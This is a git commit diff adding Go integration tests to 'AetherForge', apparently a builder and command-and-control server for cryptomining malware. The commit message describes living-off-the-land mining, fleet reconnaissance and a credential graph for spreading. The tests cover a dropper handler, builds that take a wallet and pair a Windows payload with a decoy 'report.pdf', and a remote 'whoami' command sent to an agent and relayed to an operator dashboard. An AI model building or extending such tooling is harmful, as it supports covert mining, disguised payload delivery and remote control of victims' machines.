Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/server/internal/api/integration_test.go
+++ b/server/internal/api/integration_test.go
@@ -5,10 +5,12 @@ import (
 	"encoding/json"
 	"errors"
 	"io"
+	"mime/multipart"
 	"net/http"
 	"net/http/httptest"
 	"os"
 	"path/filepath"
+	"runtime"
 	"strings"
 	"testing"
 	"time"
@@ -78,7 +80,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
 	_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)

 	dropperHandler := NewDropperHandler(database, dataDir, nil)
-	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
+	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
 }

 func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -96,6 +98,130 @@ func serveAuthed(t *testing.T, router http.Handler, method, path string, body []
 	return rec
 }

+func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder {
+	t.Helper()
+	req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes()))
+	req.Header.Set("Content-Type", contentType)
+	req.SetBasicAuth(testAuthUser, testAuthPass)
+	rec := httptest.NewRecorder()
+	router.ServeHTTP(rec, req)
+	return rec
+}
+
+func integrationWorkspaceRoot(t *testing.T) string {
+	t.Helper()
+	dir, err := os.Getwd()
+	if err != nil {
+		t.Fatal(err)
+	}
+	for i := 0; i < 10; i++ {
+		if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil {
+			if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil {
+				return dir
+			}
+		}
+		parent := filepath.Dir(dir)
+		if parent == dir {
+			break
+		}
+		dir = parent
+	}
+	t.Skip("workspace root (agent/ and fusion/) not found")
+	return ""
+}
+
+func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) {
+	t.Helper()
+	dataDir := t.TempDir()
+	seedTestUsers(t, dataDir)
+
+	database, err := db.New(dataDir)
+	if err != nil {
+		t.Fatalf("db: %v", err)
+	}
+	t.Cleanup(func() { database.Close() })
+
+	wsHub := NewWSHub(database)
+	cfg := &mockConfigProvider{}
+	configHandler := NewConfigHandler(cfg)
+	aiHandler := NewAIHandler(database)
+	fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
+	builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot)
+	installFakeGoSuccess(t, builderHandler)
+	pathForgeHandler := builder.NewPathForgeHandler(dataDir)
+	blueprintHandler := NewBlueprintHandler(dataDir)
+
+	webRoot := filepath.Join(dataDir, "webroot")
+	_ = os.MkdirAll(webRoot, 0755)
+	_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
+
+	dropperHandler := NewDropperHandler(database, dataDir, nil)
+	return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
+}
+
+func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
+	t.Helper()
+	body := &bytes.Buffer{}
+	mw := multipart.NewWriter(body)
+	cfg, err := json.Marshal(builder.BuildRequest{
+		WorkerName:          "integration-fusion",
+		ServerURL:           "http://127.0.0.1:8989",
+		Wallet:              "48abc",
+		TargetOS:            "windows",
+		FusionEnabled:       true,
+		FusionMediaMode:     "paired",
+		FusionPayloadKind:   "file",
+		FusionMediaBaseName: "report.pdf",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := mw.WriteField("config", string(cfg)); err != nil {
+		t.Fatal(err)
+	}
+	part, err := mw.CreateFormFile("prep_exe", "report.pdf")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil {
+		t.Fatal(err)
+	}
+	contentType := mw.FormDataContentType()
+	if err := mw.Close(); err != nil {
+		t.Fatal(err)
+	}
+	return body, contentType
+}
+
+func installFakeGoSuccess(t *testing.T, h *builder.Handler) {
+	t.Helper()
+	dir := t.TempDir()
+	if runtime.GOOS == "windows" {
+		p := filepath.Join(dir, "go-ok.bat")
+		script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
+			":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
+			"  set \"OUT=%~2\"\r\n  shift\r\n  shift\r\n  goto loop\r\n)\r\n" +
+			"shift\r\ngoto loop\r\n:done\r\n" +
+			"if defined OUT (\r\n" +
+			"  for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
+			"  echo fake>\"!OUT!\"\r\n" +
+			")\r\nexit /b 0\r\n"
+		if err := os.WriteFile(p, []byte(script), 0644); err != nil {
+			t.Fatal(err)
+		}
+		h.SetGoBinPath(p)
+		return
+	}
+	p := filepath.Join(dir, "go-ok.sh")
+	script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
+		"  if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n  shift\n" +
+		"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
+	if err := os.WriteFile(p, []byte(script), 0755); err != nil {
+		t.Fatal(err)
+	}
+	h.SetGoBinPath(p)
+}
+
 // serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
 func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
 	t.Helper()
@@ -470,6 +596,56 @@ func TestIntegrationPutConfig(t *testing.T) {
 	}
 }

+func TestFusionMultipartEndToEndViaRouter(t *testing.T) {
+	projectRoot := integrationWorkspaceRoot(t)
+	router, _, database, _ := newFusionTestRouter(t, projectRoot)
+
+	body, contentType := fusionMultipartBody(t)
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes()))
+	req.Header.Set("Content-Type", contentType)
+	rec := httptest.NewRecorder()
+	router.ServeHTTP(rec, req)
+	if rec.Code != http.StatusUnauthorized {
+		t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String())
+	}
+
+	body, contentType = fusionMultipartBody(t)
+	rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String())
+	}
+
+	var resp builder.BuildResponse
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatalf("decode build response: %v body=%s", err, rec.Body.String())
+	}
+	if !resp.Success {
+		t.Fatalf("expected success=true, got %+v", resp)
+	}
+	if resp.BuildID == "" {
+		t.Fatal("expected build_id in response")
+	}
+
+	record, err := database.GetBuild(resp.BuildID)
+	if err != nil {
+		t.Fatalf("build not in database: %v", err)
+	}
+	if record.WorkerName != "integration-fusion" {
+		t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName)
+	}
+	if record.Platform != "windows" {
+		t.Fatalf("platform: got %q want windows", record.Platform)
+	}
+
+	builds, err := database.ListBuilds(10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(builds) != 1 {
+		t.Fatalf("expected 1 build in DB, got %d", len(builds))
+	}
+}
+
 func TestIntegrationBuilderRoutes(t *testing.T) {
 	router, _, _, _ := newTestRouter(t)

@@ -735,3 +911,146 @@ func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) {
 		t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
 	}
 }
+
+// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
+// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
+// command → simulated agent sends command_result → dashboard WS receives broadcast.
+func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
+	router, wsHub, _, _ := newTestRouter(t)
+	agentID := "router-roundtrip-agent"
+	const testAction = "exec"
+	const testCommand = "whoami"
+	const resultMessage = "integration round-trip ok"
+
+	agentConn, srv := connectAgentViaRouter(t, router, agentID)
+
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if wsHub.isAgentConnected(agentID) {
+			break
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	if !wsHub.isAgentConnected(agentID) {
+		t.Fatal("agent not connected via router ws")
+	}
+
+	dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard ws: %v", err)
+	}
+	t.Cleanup(func() { _ = dashConn.Close() })
+
+	type msgResult struct {
+		body map[string]interface{}
+		err  string
+	}
+	cmdResultCh := make(chan msgResult, 1)
+	go func() {
+		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				cmdResultCh <- msgResult{err: err.Error()}
+				return
+			}
+			if msg.Type != "command_result" {
+				continue
+			}
+			var body map[string]interface{}
+			if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
+				cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
+				return
+			}
+			cmdResultCh <- msgResult{body: body}
+			return
+		}
+	}()
+
+	type agentCmdResult struct {
+		cmd Message
+		err string
+	}
+	agentCmdCh := make(chan agentCmdResult, 1)
+	go func() {
+		_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		var cmd Message
+		if err := agentConn.ReadJSON(&cmd); err != nil {
+			agentCmdCh <- agentCmdResult{err: err.Error()}
+			return
+		}
+		agentCmdCh <- agentCmdResult{cmd: cmd}
+
+		cmdPayload, _ := json.Marshal(map[string]interface{}{
+			"action":  testAction,
+			"success": true,
+			"message": resultMessage,
+		})
+		if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
+			agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
+		}
+	}()
+
+	cmdBody, _ := json.Marshal(map[string]string{
+		"action":  testAction,
+		"command": testCommand,
+	})
+	rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
+	}
+	var httpBody map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
+		t.Fatal(err)
+	}
+	if httpBody["success"] != true {
+		t.Fatalf("expected success=true, got %v", httpBody)
+	}
+	if httpBody["action"] != testAction {
+		t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
+	}
+
+	select {
+	case r := <-agentCmdCh:
+		if r.err != "" {
+			t.Fatalf("agent did not receive command: %s", r.err)
+		}
+		if r.cmd.Type != "command" {
+			t.Fatalf("agent expected command, got %q", r.cmd.Type)
+		}
+		var payload map[string]interface{}
+		if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
+			t.Fatal(err)
+		}
+		if payload["action"] != testAction {
+			t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
+		}
+		if payload["command"] != testCommand {
+			t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for agent command")
+	}
+
+	select {
+	case r := <-cmdResultCh:
+		if r.err != "" {
+			t.Fatalf("dashboard did not receive command_result: %s", r.err)
+		}
+		if r.body["agent_id"] != agentID {
+			t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
+		}
+		if r.body["action"] != testAction {
+			t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
+		}
+		if r.body["message"] != resultMessage {
+			t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
+		}
+		if r.body["success"] != true {
+			t.Errorf("dashboard success: got %v, want true", r.body["success"])
+		}
+	case <-time.After(5 * time.Second):
+		t.Fatal("timed out waiting for command_result broadcast")
+	}
+}